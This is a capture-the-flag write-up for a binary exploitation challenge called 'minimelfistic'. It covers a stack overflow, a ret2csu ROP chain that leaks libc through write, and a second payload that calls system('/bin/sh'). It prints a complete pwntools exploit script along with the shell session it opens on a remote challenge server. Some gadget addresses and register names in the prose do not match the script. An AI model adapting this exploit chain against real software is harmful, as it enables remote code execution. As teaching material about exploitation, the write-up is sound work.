This is the second part of my series on binary exploitation. You can read the first part here.
We are looking at the minimelfistic
challenge.
We are given two files: minimelfistic
and libc.so.6
. When running the binary, we see the following output:
$ ./minimelfistic
[*] Santa is not home!
[*] Santa is not home!
[!] Santa returned!
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
>
When typing in y
or n
, the output repeats (the number of times “Santa is not Home” is displayed is random).
Next, we open the binary in Ghidra:
We test that, when typing in a string starting with ‘9’, the program does indeed exit.
We can also tell from Ghidra’s output that read
can write too many bytes: The buffer can only store 32 bytes while read
happily writes over 2000.
Since we have now located the memory error, we next need to find a way to exploit it.
First, we inspect the protection mechanisms of the binary:
$ pwn checksec ./minimelfistic
[*] '/share/htb/pwn_minimelfistic/minimelfistic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Just like in the first post, we need to overwrite the return address on the stack to point to a function that already exists. Checking the binary for anything useful, we find nothing (minimelfistic already gives it away).
Therefore, we need to use functions in the C standard library to give us the flag. Therefore, we inspect the security of the provided libc.so.6
:
$ pwn checksec ./libc.so.6
[*] '/share/htb/pwn_minimelfistic/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Just like in the first post, we need to find the memory address libc
is mapped to.
To read an address out of the Global Offset Table, we have to use a standard library function present in the PLT. We look at the standard library functions that are present:
$ nm -gj ./minimelfistic
alarm@@GLIBC_2.2.5
banner
__bss_start
__data_start
data_start
_dl_relocate_static_pie
__dso_handle
_edata
_end
_fini
__gmon_start__
_init
_IO_stdin_used
__libc_csu_fini
__libc_csu_init
__libc_start_main@@GLIBC_2.2.5
main
rand@@GLIBC_2.2.5
read@@GLIBC_2.2.5
sec_alarm
setup
setvbuf@@GLIBC_2.2.5
sleep@@GLIBC_2.2.5
srand@@GLIBC_2.2.5
_start
stdin@@GLIBC_2.2.5
stdout@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
time@@GLIBC_2.2.5
__TMC_END__
write@@GLIBC_2.2.5
We see that the only useful function is read
.
Looking at the manpage (man 3 read
), we see the following signature:
ssize_t read(int fildes, void *buf, size_t nbyte);
Since we are on 64 bit Linux (System V ABI), we need to put the file descriptor in rdi
, the buffer pointer in rsi
and the number of bytes in rdx
.
We can break out of the main loop and through the stack overflow, write into the return address of the main
function.
To find ROP gadgets in the binary, we again use $ ROPgadget --binary ./minimelfistic
. We find gadgets for rdi
and rsi
, but nothing for rdx
.
As I had already heard of a technique called ret2csu
, I check out the original paper.
The technique makes use of two gadgets located in the libc startup code (__libc_csu_init
):
0x401420
MOV RDX,R15
MOV RSI,R14
MOV EDI,R13D
CALL qword ptr [R12 + RBX*0x8]
ADD RBX,0x1
CMP RBP,RBX
JNZ LAB_00401420
0x401436
ADD RSP,0x8
POP RBX
POP RBP
POP R12
POP R13
POP R14
POP R15
RET
To write into the registers rdi
, rsi
and rdi
, we first return to 0x401436
.
Then, we can write into registers rbx
, rbp
, r12
, r13
, r14
and r15
.
After that, we return to 0x401420
where r15
and rt14
are copied to rdx
and rsi
.
By putting the right values into r12
and rbx
, we can call write
in the PLT.
After the write, we want to return to the main
function.
We also have to fill rbx
and rbp
in a way such that rbx+1=rbp
and we don’t jump out of the gadget.
After the call, we just put zeros into the registers:
payload = b'9'*72
payload += p64(0x400a3a) # pop rbx; pop rbp, pop r12; pop r13; pop r14; pop r15
payload += p64(0) # rbx --> 24
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12
payload += p64(1) # r13 --> edi --> stdout
payload += p64(elf.got['write']) # r14 --> rsi --> buf
payload += p64(8) # r15 --> rdx --> nbyte
payload += p64(0x400a20) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]; ...
payload += b'\x00'*56
payload += p64(elf.symbols['main'])
We then get the base address of libc
.
Just like in the last post, we can use a pop rdi; ret
gadget to call system("/bin/sh")
.
We run the script and get the flag:
$ python3 solve.py
[*] '/share/htb/pwn_minimelfistic/minimelfistic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/share/htb/pwn_minimelfistic/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 178.62.32.210 on port 31283: Done
leaked libc 0x7f99e14b2000
[*] Switching to interactive mode
Goodbye Santa!
[!] For your safety, the 🚨 will not be deactivated!
$ ls
flag.txt libc.so.6 minimelfistic
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}
$
[*] Closed connection to 178.62.32.210 port 31283
The final script looks like this:
from pwn import *
local = True
elf = ELF('./minimelfistic')
if local:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = elf.process()
else:
libc = ELF('./libc.so.6')
p = remote('178.62.32.210', 31283)
p.recvuntil(b'> ')
payload = b'9'*72
payload += p64(0x400a3a) # pop rbx; pop rbp, pop r12; pop r13; pop r14; pop r15
payload += p64(0) # rbx --> 24
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12
payload += p64(1) # r13 --> edi --> stdout
payload += p64(elf.got['write']) # r14 --> rsi --> buf
payload += p64(8) # r15 --> rdx --> nbyte
payload += p64(0x400a20) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]
payload += b'\x00'*56
payload += p64(elf.symbols['main'])
p.sendline(payload)
p.recvuntil(b'deactivated!\n')
libc.address = int.from_bytes(p.recv(8), byteorder='little')-libc.symbols['write']
print("leaked libc", hex(libc.address))
payload = b'9'*72
payload += p64(0x400a43) # pop rdi
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(0x400616)
payload += p64(libc.symbols['system'])
p.recvuntil(b'> ')
p.sendline(payload)
p.interactive()